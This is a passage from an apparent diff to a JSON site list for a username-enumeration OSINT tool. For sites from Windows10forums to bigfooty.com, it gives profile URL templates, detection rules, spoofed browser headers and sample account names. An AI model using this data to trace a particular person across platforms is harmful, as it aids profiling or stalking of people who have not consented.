"noonewouldeverusethis7" + }, + "Windows10forums": { + "tags": [ + "forum", + "in", + "us" + ], + "engine": "XenForo", + "alexaRank": 197218, + "urlMain": "https://www.windows10forums.com/", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Windowsforum": { + "tags": [ + "forum", + "in", + "us" + ], + "checkType": "message", + "absenceStrs": [ + "The specified member cannot be found" + ], + "alexaRank": 266446, + "urlMain": "https://windowsforum.com", + "url": "https://windowsforum.com/members/?username={username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Windy": { + "disabled": true, + "tags": [ + "in", + "jp", + "kr", + "pl", + "us" + ], + "checkType": "status_code", + "alexaRank": 2201, + "urlMain": "https://windy.com/", + "url": "https://community.windy.com/user/{username}", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Wireclub": { + "tags": [ + "in", + "tr", + "us" + ], + "checkType": "response_url", + "alexaRank": 484535, + "urlMain": "https://www.wireclub.com", + "url": "https://www.wireclub.com/users/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "WiredNewYork": { + "urlSubpath": "/forum", + "tags": [ + "forum", + "in", + "pk", + "us" + ], + "errors": { + "Wired New York forum maintenance": "Site maintenance" + }, + "engine": "vBulletin", + "alexaRank": 1747505, + "urlMain": "http://wirednewyork.com/", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Wishlistr": { + "tags": [ + "in", + "se" + ], + "checkType": "response_url", + "alexaRank": 27978, + "urlMain": "https://www.wishlistr.com", + "url": "https://www.wishlistr.com/profile/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Wittyprofiles": { + "tags": [ + "in" + ], + "checkType": "message", + "absenceStrs": [ + "It looks like you are looking for something that isn't here." + ], + "alexaRank": 1736838, + "urlMain": "http://www.wittyprofiles.com/", + "url": "http://www.wittyprofiles.com/author/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Wix": { + "tags": [ + "us" + ], + "regexCheck": "^[^\\.]+$", + "checkType": "status_code", + "alexaRank": 186, + "urlMain": "https://wix.com/", + "url": "https://{username}.wix.com", + "usernameClaimed": "support", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "WolniSlowianie": { + "checkType": "message", + "absenceStrs": [ + "Nie znaleziono strony, kt\u00f3rej szukasz." + ], + "presenseStrs": [ + "O\u015b czasu" + ], + "url": "https://wolnislowianie.pl/{username}", + "usernameClaimed": "janek", + "usernameUnclaimed": "noonewouldusethis7" + }, + "Wolpy": { + "tags": [ + "travel" + ], + "checkType": "status_code", + "alexaRank": 107661, + "urlMain": "http://wolpy.com", + "url": "http://wolpy.com/{username}/profile", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Wordnik": { + "checkType": "message", + "absenceStrs": [ + "Wordnik: Page Not Found" + ], + "presenseStrs": [ + "Welcome," + ], + "url": "https://www.wordnik.com/users/{username}", + "usernameClaimed": "elle", + "usernameUnclaimed": "noonewouldusethis7" + }, + "WordPress": { + "tags": [ + "blog" + ], + "regexCheck": "^[a-zA-Z][a-zA-Z0-9_-]*$", + "checkType": "response_url", + "alexaRank": 53, + "urlMain": "https://wordpress.com", + "url": "https://{username}.wordpress.com/", + "errorUrl": "wordpress.com/typo/?subdomain=", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "WordPressOrg": { + "tags": [ + "in" + ], + "checkType": "response_url", + "alexaRank": 368, + "urlMain": "https://wordpress.org/", + "url": "https://profiles.wordpress.org/{username}/", + "errorUrl": "https://wordpress.org", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "WordpressSupport": { + "checkType": "message", + "absenceStrs": [ + "User not found" + ], + "presenseStrs": [ + "s Profile | WordPress.org" + ], + "url": "https://wordpress.org/support/users/{username}/", + "usernameClaimed": "test", + "usernameUnclaimed": "noonewouldusethis7" + }, + "Worldofplayers": { + "tags": [ + "forum", + "ru" + ], + "engine": "XenForo", + "alexaRank": 436032, + "urlMain": "https://worldofplayers.ru", + "usernameClaimed": "zern", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "WorlfOfTanksForum": { + "tags": [ + "forum", + "ru" + ], + "checkType": "message", + "absenceStrs": [ + "\u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u043d\u0435 \u0437\u0430\u0440\u0435\u0433\u0438\u0441\u0442\u0440\u0438\u0440\u043e\u0432\u0430\u043d" + ], + "alexaRank": 2410869, + "urlMain": "https://forum.wotanks.com", + "url": "https://forum.wotanks.com/member.php/?username={username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Wot-game": { + "tags": [ + "ru" + ], + "checkType": "status_code", + "alexaRank": 2727598, + "urlMain": "https://wot-game.com", + "url": "https://wot-game.com/user/{username}/", + "usernameClaimed": "red", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Wowhead": { + "tags": [ + "gaming", + "us" + ], + "checkType": "status_code", + "urlMain": "https://www.wowhead.com", + "url": "https://www.wowhead.com/user={username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "alexaRank": 1325 + }, + "Writercenter": { + "tags": [ + "ru", + "ua" + ], + "checkType": "status_code", + "urlMain": "https://writercenter.ru", + "url": "https://writercenter.ru/profile/{username}/", + "usernameClaimed": "green", + "usernameUnclaimed": "noonewouldeverusethis7", + "alexaRank": 989583 + }, + "Wuz": { + "disabled": true, + "ignore403": true, + "tags": [ + "by", + "ru" + ], + "checkType": "message", + "absenceStrs": [ + "\u0423\u043a\u0430\u0437\u0430\u043d\u043d\u044b\u0439 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d" + ], + "urlMain": "http://wuz.by", + "url": "http://wuz.by/forum/members/?username={username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "alexaRank": 2848353 + }, + "Wykop": { + "tags": [ + "pl" + ], + "checkType": "message", + "alexaRank": 2559, + "presenseStrs": [ + "Aktywno\u015b\u0107 u\u017cytkownika" + ], + "urlMain": "https://www.wykop.pl", + "url": "https://www.wykop.pl/ludzie/{username}/", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Xanga": { + "checkType": "message", + "absenceStrs": [ + "Xanga 2.0 is Here!" + ], + "presenseStrs": [ + "s Xanga Site | Just" + ], + "url": "https://{username}.xanga.com/", + "usernameClaimed": "john", + "usernameUnclaimed": "noonewouldusethis7" + }, + "XDA": { + "disabled": true, + "tags": [ + "apps", + "forum" + ], + "errors": { + "<title>Attention Required! | Cloudflare": "Cloudflare security protection detected" + }, + "engine": "vBulletin", + "alexaRank": 3291, + "urlMain": "https://forum.xda-developers.com", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "XXXForum.org": { + "disabled": true, + "tags": [ + "erotic", + "forum", + "ru" + ], + "checkType": "message", + "absenceStrs": [ + "\u041f\u043e\u0434\u0445\u043e\u0434\u044f\u0449\u0438\u0445 \u0442\u0435\u043c \u0438\u043b\u0438 \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u0439 \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d\u043e." + ], + "urlMain": "https://xxxforum.org", + "url": "https://xxxforum.org/search.php?keywords=&terms=all&author={username}", + "usernameClaimed": "tangar", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Xbox Gamertag": { + "tags": [ + "us" + ], + "errors": { + "Something went wrong": "Site error", + "Why do I have to complete a CAPTCHA": "Captcha detected" + }, + "checkType": "status_code", + "alexaRank": 692675, + "urlMain": "https://xboxgamertag.com/", + "url": "https://xboxgamertag.com/search/{username}", + "usernameClaimed": "smrnov", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Xing": { + "tags": [ + "de", + "eu" + ], + "errors": { + "/assets/login-frontend/login-frontend": "Login required" + }, + "checkType": "status_code", + "alexaRank": 2314, + "urlMain": "https://www.xing.com/", + "url": "https://www.xing.com/profile/{username}", + "usernameClaimed": "Ivan_Ivanov", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Xvideos": { + "tags": [ + "porn", + "us" + ], + "checkType": "status_code", + "alexaRank": 107, + "urlMain": "https://xvideos.com/", + "url": "https://xvideos.com/profiles/{username}", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "XvideosModels": { + "checkType": "message", + "absenceStrs": [ + "THIS PROFILE DOESN'T EXIST" + ], + "presenseStrs": [ + "Total video views" + ], + "url": "https://www.xvideos.com/models/{username}", + "usernameClaimed": "tiffany-tyler", + "usernameUnclaimed": "noonewouldusethis7" + }, + "Ya-uchitel": { + "tags": [ + "ru" + ], + "engine": "uCoz", + "alexaRank": 167839, + "urlMain": "https://ya-uchitel.ru/", + "usernameClaimed": "Vesna", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "YaPishu.net": { + "tags": [ + "ru" + ], + "checkType": "status_code", + "presenseStrs": [ + "for_profile" + ], + "alexaRank": 332628, + "urlMain": "https://yapishu.net", + "url": "https://yapishu.net/user/{username}", + "usernameClaimed": "admin", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Yalta-info": { + "disabled": true, + "tags": [ + "ru" + ], + "checkType": "message", + "absenceStrs": [ + "\u041f\u043e\u0434\u0445\u043e\u0434\u044f\u0449\u0438\u0445 \u0442\u0435\u043c \u0438\u043b\u0438 \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u0439 \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d\u043e." + ], + "urlMain": "http://www.yalta-info.net", + "url": "http://www.yalta-info.net/search.php?keywords=&terms=all&author={username}", + "usernameClaimed": "%D0%96%D1%83%D0%BA%D0%BE%D0%B2", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "YandexReviews": { + "tags": [ + "ru" + ], + "type": "yandex_public_id", + "headers": { + "user-agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.141 Safari/537.36" + }, + "checkType": "message", + "presenseStrs": [ + "content=\"\u041e\u0442\u0437\u044b\u0432\u044b \u0438 \u043e\u0446\u0435\u043d\u043a\u0438" + ], + "absenceStrs": [ + "\u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u0441\u043a\u0440\u044b\u043b \u0441\u0432\u043e\u044e \u043f\u0443\u0431\u043b\u0438\u0447\u043d\u0443\u044e \u0441\u0442\u0440\u0430\u043d\u0438\u0446\u0443" + ], + "alexaRank": 50, + "urlMain": "https://yandex.ru/", + "url": "https://reviews.yandex.ru/user/{username}", + "source": "Yandex", + "usernameClaimed": "20vpvmmwpnwyb0dpbnjvy3k14c", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "YandexBugbounty": { + "tags": [ + "hacking", + "ru" + ], + "checkType": "status_code", + "alexaRank": 50, + "urlMain": "https://yandex.ru/bugbounty/", + "url": "https://yandex.ru/bugbounty/researchers/{username}/", + "source": "Yandex", + "usernameClaimed": "pyrk1", + "usernameUnclaimed": "noonewouldeverusethis7", + "disabled": true + }, + "YandexCollections API": { + "tags": [ + "ru", + "sharing" + ], + "headers": { + "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.141 Safari/537.36" + }, + "errors": { + "action=\"/checkcaptcha\" onsubmit": "Captcha detected, use proxy/vpn" + }, + "checkType": "message", + "presenseStrs": [ + "public_id" + ], + "absenceStrs": [ + "cl-not-found-content__title" + ], + "alexaRank": 34, + "urlMain": "https://yandex.ru/collections/", + "url": "https://yandex.ru/collections/api/users/{username}/", + "source": "Yandex", + "usernameClaimed": "yandex", + "usernameUnclaimed": "noonewouldeverusethis7", + "disabled": true + }, + "YandexCollections API (by yandex_public_id)": { + "tags": [ + "ru", + "sharing" + ], + "type": "yandex_public_id", + "headers": { + "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.141 Safari/537.36" + }, + "errors": { + "action=\"/checkcaptcha\" onsubmit": "Captcha detected, use proxy/vpn" + }, + "checkType": "message", + "presenseStrs": [ + "public_id" + ], + "absenceStrs": [ + "cl-not-found-content__title" + ], + "alexaRank": 50, + "urlMain": "https://yandex.ru/collections/", + "url": "https://yandex.ru/collections/api/users/{username}/", + "source": "Yandex", + "usernameClaimed": "hx0aur0arkyebkxztq8pr8b4dg", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "YandexMarket": { + "tags": [ + "ru" + ], + "type": "yandex_public_id", + "checkType": "message", + "absenceStrs": [ + "//yastatic.net/market-export/_/i/zero-state/404.svg" + ], + "alexaRank": 50, + "urlMain": "https://market.yandex.ru/", + "url": "https://market.yandex.ru/user/{username}", + "source": "Yandex", + "usernameClaimed": "6j2uh4rhp5d9gqgbynaqy2p75m", + "usernameUnclaimed": "noonewouldeverusethis77777" + }, + "YandexMusic": { + "tags": [ + "music", + "ru" + ], + "ignore403": true, + "headers": { + "Referer": "https://music.yandex.ru/users/test/playlists" + }, + "checkType": "status_code", + "alexaRank": 50, + "urlMain": "https://music.yandex.ru/", + "url": "https://music.yandex.ru/users/{username}/playlists", + "source": "Yandex", + "usernameClaimed": "YandexMusic", + "usernameUnclaimed": "noonewouldeverusethis77777" + }, + "Soberu": { + "tags": [ + "ru" + ], + "checkType": "status_code", + "urlMain": "https://yasobe.ru", + "url": "https://yasobe.ru/na/{username}", + "usernameClaimed": "snoop_project", + "usernameUnclaimed": "noonewouldeverusethis7", + "alexaRank": 10489582, + "disabled": true + }, + "YandexZnatoki": { + "tags": [ + "ru" + ], + "type": "yandex_public_id", + "checkType": "status_code", + "alexaRank": 50, + "urlMain": "https://yandex.ru/q/", + "url": "https://yandex.ru/q/profile/{username}", + "source": "Yandex", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis77777" + }, + "YandexZenChannel": { + "tags": [ + "ru" + ], + "checkType": "message", + "absenceStrs": [ + ".zen-ui-page-404" + ], + "presenseStrs": [ + "zen_object_id" + ], + "alexaRank": 50, + "urlMain": "https://dzen.ru", + "url": "https://dzen.ru/channel/{username}", + "headers": { + "Cookie": "Session_id=noauth:1; yandex_login=; ys=c_chck.1; mda2_beacon=1; sso_status=sso.passport.yandex.ru:synchronized; _yasc=1; _ym_uid=1; _ym_d=1; _ym_isad=2; yandexuid=1" + }, + "source": "Yandex", + "usernameClaimed": "tema", + "usernameUnclaimed": "noonewouldeverusethis77777" + }, + "YandexZenUser": { + "tags": [ + "ru" + ], + "type": "yandex_public_id", + "checkType": "status_code", + "alexaRank": 50, + "urlMain": "https://zen.yandex.ru", + "url": "https://zen.yandex.ru/user/{username}", + "source": "Yandex", + "usernameClaimed": "20vpvmmwpnwyb0dpbnjvy3k14c", + "usernameUnclaimed": "noonewouldeverusethis77777" + }, + "Yapisal": { + "tags": [ + "forum", + "tr" + ], + "checkType": "message", + "absenceStrs": [ + "\"error_type\":\"not_found\"" + ], + "presenseStrs": [ + "\"user\":{\"id\":" + ], + "headers": { + "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/116.0" + }, + "alexaRank": 2925378, + "urlProbe": "{urlMain}/u/{username}.json", + "urlMain": "https://forum.yapisal.net", + "url": "{urlMain}/u/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "disabled": true + }, + "Yazbel": { + "tags": [ + "forum" + ], + "checkType": "status_code", + "url": "https://forum.yazbel.com/u/{username}/summary", + "usernameClaimed": "abdullah189", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "YouNow": { + "tags": [ + "be", + "us" + ], + "urlProbe": "https://api.younow.com/php/api/broadcast/info/user={username}/", + "checkType": "message", + "absenceStrs": [ + "No users found" + ], + "alexaRank": 25470, + "urlMain": "https://www.younow.com/", + "url": "https://www.younow.com/{username}/", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "YouPic": { + "tags": [ + "photo" + ], + "checkType": "status_code", + "alexaRank": 42331, + "urlMain": "https://youpic.com/", + "url": "https://youpic.com/photographer/{username}/", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "YouPorn": { + "tags": [ + "porn", + "us" + ], + "checkType": "message", + "presenseStrs": [ + "Videos uploaded by" + ], + "absenceStrs": [ + "BUT CAN'T FIND WHAT YOU'RE LOOKING FOR." + ], + "alexaRank": 663, + "urlMain": "https://youporn.com", + "url": "https://youporn.com/uservids/{username}", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis77777" + }, + "YouTube": { + "tags": [ + "video" + ], + "headers": { + "User-Agent": "curl/8.6.0", + "Accept": "*/*" + }, + "regexCheck": "^[^\\/]+$", + "checkType": "message", + "presenseStrs": [ + "visitorData", + "userAgent" + ], + "absenceStrs": [ + "404 Not Found" + ], + "alexaRank": 2, + "urlMain": "https://www.youtube.com/", + "url": "https://www.youtube.com/@{username}", + "usernameClaimed": "test", + "usernameUnclaimed": "noonewouldeverusethis777" + }, + "YouTube User": { + "tags": [ + "video" + ], + "headers": { + "User-Agent": "curl/8.6.0", + "Accept": "*/*" + }, + "regexCheck": "^[^\\/]+$", + "checkType": "message", + "presenseStrs": [ + "visitorData", + "userAgent" + ], + "absenceStrs": [ + "404 Not Found" + ], + "alexaRank": 2, + "urlMain": "https://www.youtube.com/", + "url": "https://www.youtube.com/@{username}", + "usernameClaimed": "test", + "usernameUnclaimed": "noonewouldeverusethis777" + }, + "Yummly": { + "tags": [ + "us" + ], + "checkType": "message", + "presenseStrs": [ + "profileName" + ], + "alexaRank": 8249, + "urlMain": "https://www.yummly.com", + "url": "https://mapi.yummly.com/mapi/v19/user/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Zagony": { + "tags": [ + "ru" + ], + "checkType": "message", + "absenceStrs": [ + "\u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u0441 \u0442\u0430\u043a\u0438\u043c \u0438\u043c\u0435\u043d\u0435\u043c \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d." + ], + "alexaRank": 72861, + "urlMain": "https://zagony.ru", + "url": "https://zagony.ru/user/{username}/", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Zapravdu": { + "tags": [ + "ru" + ], + "checkType": "message", + "absenceStrs": [ + "\u041f\u043e\u0434\u0445\u043e\u0434\u044f\u0449\u0438\u0445 \u0442\u0435\u043c \u0438\u043b\u0438 \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u0439 \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d\u043e." + ], + "alexaRank": 3826988, + "urlMain": "http://zapravdu.ru/", + "url": "http://zapravdu.ru/forum/search.php?author={username}", + "usernameClaimed": "ccsr", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Zatrybi.pl": { + "checkType": "message", + "absenceStrs": [ + "Nie znaleziono strony" + ], + "presenseStrs": [ + "Zarejestrowany od:" + ], + "url": "https://zatrybi.pl/user/{username}", + "usernameClaimed": "fenrek", + "usernameUnclaimed": "noonewouldusethis7" + }, + "Zbiornik.com": { + "checkType": "message", + "absenceStrs": [ + "Szukaj" + ], + "presenseStrs": [ + "INFO" + ], + "url": "https://mini.zbiornik.com/{username}", + "usernameClaimed": "Soif", + "usernameUnclaimed": "noonewouldusethis7" + }, + "Zenitbol": { + "tags": [ + "ru" + ], + "engine": "uCoz", + "alexaRank": 6746731, + "urlMain": "http://zenitbol.ru", + "usernameClaimed": "vera", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Zhihu": { + "tags": [ + "cn" + ], + "checkType": "message", + "alexaRank": 139, + "urlMain": "https://www.zhihu.com/", + "url": "https://www.zhihu.com/people/{username}", + "absenceStrs": [ + "\u7528\u6237\u4e0d\u5b58\u5728" + ], + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7", + "disabled": true + }, + "Zhyk": { + "disabled": true, + "tags": [ + "forum", + "ru" + ], + "engine": "vBulletin", + "alexaRank": 449117, + "urlMain": "https://zhyk.ru", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Zmarsa.com": { + "checkType": "message", + "absenceStrs": [ + "B\u0142\u0105d na stronie" + ], + "presenseStrs": [ + "Galeria u\u017cytkownika" + ], + "url": "https://zmarsa.com/uzytkownik/{username}/glowna/", + "usernameClaimed": "test", + "usernameUnclaimed": "noonewouldusethis7" + }, + "Zmey": { + "tags": [ + "forum", + "sport" + ], + "checkType": "response_url", + "urlMain": "https://zmey.ru", + "url": "https://zmey.ru/user/@{username}", + "usernameClaimed": "alec", + "usernameUnclaimed": "noonewouldeverusethis7", + "alexaRank": 6863219 + }, + "Zomato": { + "tags": [ + "geosocial", + "in" + ], + "headers": { + "Accept-Language": "en-US,en;q=0.9" + }, + "checkType": "status_code", + "alexaRank": 1300, + "urlMain": "https://www.zomato.com/", + "url": "https://www.zomato.com/pl/{username}/foodjourney", + "usernameClaimed": "deepigoyal", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "afsoc.ucoz.ru": { + "engine": "uCoz", + "urlMain": "http://afsoc.ucoz.ru", + "usernameClaimed": "admin", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "akniga": { + "tags": [ + "ru" + ], + "checkType": "status_code", + "alexaRank": 18723, + "urlMain": "https://akniga.org/", + "url": "https://akniga.org/profile/{username}", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis" + }, + "aliensoup.com": { + "engine": "XenForo", + "alexaRank": 1870623, + "urlMain": "https://aliensoup.com", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "forum" + ] + }, + "allgaz": { + "disabled": true, + "tags": [ + "forum", + "ru" + ], + "engine": "vBulletin", + "alexaRank": 753089, + "urlMain": "https://forum.allgaz.ru", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "alliedmods": { + "tags": [ + "forum", + "gb", + "in", + "jp", + "tr", + "us", + "uz" + ], + "engine": "vBulletin", + "alexaRank": 39020, + "urlMain": "https://forums.alliedmods.net/", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "allmylinks": { + "tags": [ + "links" + ], + "checkType": "message", + "absenceStrs": [ + "Page not found" + ], + "alexaRank": 15293, + "urlMain": "https://allmylinks.com/", + "url": "https://allmylinks.com/{username}", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "alpanf.ucoz.ru": { + "engine": "uCoz", + "urlMain": "http://alpanf.ucoz.ru", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "amax-sb.ru": { + "engine": "uCoz", + "alexaRank": 7441128, + "urlMain": "http://amax-sb.ru", + "usernameClaimed": "admin", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "aminoapp": { + "tags": [ + "br", + "us" + ], + "checkType": "status_code", + "alexaRank": 3178, + "urlMain": "https://aminoapps.com/", + "url": "https://aminoapps.com/u/{username}", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis77777", + "disabled": true + }, + "analitika-forex.ru": { + "engine": "uCoz", + "alexaRank": 5995985, + "urlMain": "http://analitika-forex.ru", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "andrei.moy.su": { + "engine": "uCoz", + "urlMain": "http://andrei.moy.su", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "antalya.ucoz.ru": { + "engine": "uCoz", + "urlMain": "http://antalya.ucoz.ru", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7", + "alexaRank": 12622701 + }, + "antihack.ucoz.net": { + "engine": "uCoz", + "urlMain": "http://antihack.ucoz.net", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "antivirus.moy.su": { + "engine": "uCoz", + "urlMain": "http://antivirus.moy.su", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "antizombie.ucoz.ru": { + "engine": "uCoz", + "urlMain": "http://antizombie.ucoz.ru", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "movies", + "ru" + ] + }, + "army-rus.ucoz.ru": { + "engine": "uCoz", + "urlMain": "http://army-rus.ucoz.ru", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7", + "alexaRank": 12825102 + }, + "armyboots.ucoz.ru": { + "engine": "uCoz", + "urlMain": "http://armyboots.ucoz.ru", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "artinvestment": { + "tags": [ + "forum", + "ru" + ], + "engine": "vBulletin", + "alexaRank": 195417, + "urlMain": "https://forum.artinvestment.ru/", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "asecurity.do.am": { + "engine": "uCoz", + "urlMain": "http://asecurity.do.am", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "atm-club.moy.su": { + "engine": "uCoz", + "urlMain": "http://atm-club.moy.su", + "usernameClaimed": "admin", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "australianfrequentflyer.com.au": { + "tags": [ + "au", + "forum" + ], + "engine": "XenForo", + "alexaRank": 257819, + "urlMain": "https://www.australianfrequentflyer.com.au/community/", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "author.today": { + "tags": [ + "reading", + "ru" + ], + "checkType": "status_code", + "alexaRank": 12218, + "urlMain": "https://author.today", + "url": "https://author.today/u/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "authorSTREAM": { + "tags": [ + "documents", + "in", + "sharing" + ], + "checkType": "status_code", + "alexaRank": 6034, + "urlMain": "http://www.authorstream.com/", + "url": "http://www.authorstream.com/author/{username}/", + "usernameClaimed": "roxanne", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "autotob.ru": { + "engine": "uCoz", + "urlMain": "http://autotob.ru", + "usernameClaimed": "admin", + "usernameUnclaimed": "noonewouldeverusethis7", + "alexaRank": 1156235 + }, + "av.3dn.ru": { + "engine": "uCoz", + "urlMain": "http://av.3dn.ru", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7", + "alexaRank": 9097927 + }, + "aviabaza-meria.ucoz.ru": { + "engine": "uCoz", + "urlMain": "http://aviabaza-meria.ucoz.ru", + "usernameClaimed": "admin", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "awd.ru": { + "tags": [ + "forum", + "ru", + "travel" + ], + "checkType": "message", + "absenceStrs": [ + "\u041f\u043e\u0434\u0445\u043e\u0434\u044f\u0449\u0438\u0445 \u0442\u0435\u043c \u0438\u043b\u0438 \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u0439 \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d\u043e." + ], + "presenseStrs": [ + "\u0420\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u043e\u0432 \u043f\u043e\u0438\u0441\u043a\u0430:" + ], + "alexaRank": 32426, + "urlMain": "https://forum.awd.ru", + "url": "https://forum.awd.ru/search.php?keywords=&terms=all&author={username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "babyboom.pl": { + "engine": "XenForo", + "alexaRank": 685508, + "urlMain": "http://www.babyboom.pl/forum/", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "forum", + "pl" + ] + }, + "barnaul-forum.ru": { + "engine": "uCoz", + "alexaRank": 8892304, + "urlMain": "http://barnaul-forum.ru", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "forum" + ] + }, + "bbs.evony.com": { + "tags": [ + "forum", + "in", + "pk", + "tr", + "us" + ], + "engine": "vBulletin", + "alexaRank": 457801, + "urlMain": "http://bbs.evony.com", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "bbs.huami.com": { + "disabled": true, + "tags": [ + "cn", + "in", + "ir", + "ru", + "us" + ], + "checkType": "message", + "absenceStrs": [ + "\u63d0\u793a\u4fe1\u606f - huami\u8bba\u575b - Powered by Discuz!" + ], + "alexaRank": 137565, + "urlMain": "https://bbs.huami.com", + "url": "https://bbs.huami.com/home.php?username={username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "beyond3d": { + "tags": [ + "forum", + "in", + "pk", + "ru", + "us" + ], + "engine": "XenForo", + "alexaRank": 500969, + "urlMain": "https://forum.beyond3d.com", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "bigfooty.com": { + "tags": [ + "au", + "forum" + ], + "engine": "XenForo", + "alexaRank": 153706, + "urlMain": "https://www.bigfooty.com/forum/", + "usernameClaimed": "alex", + "usernameUnclaimed": 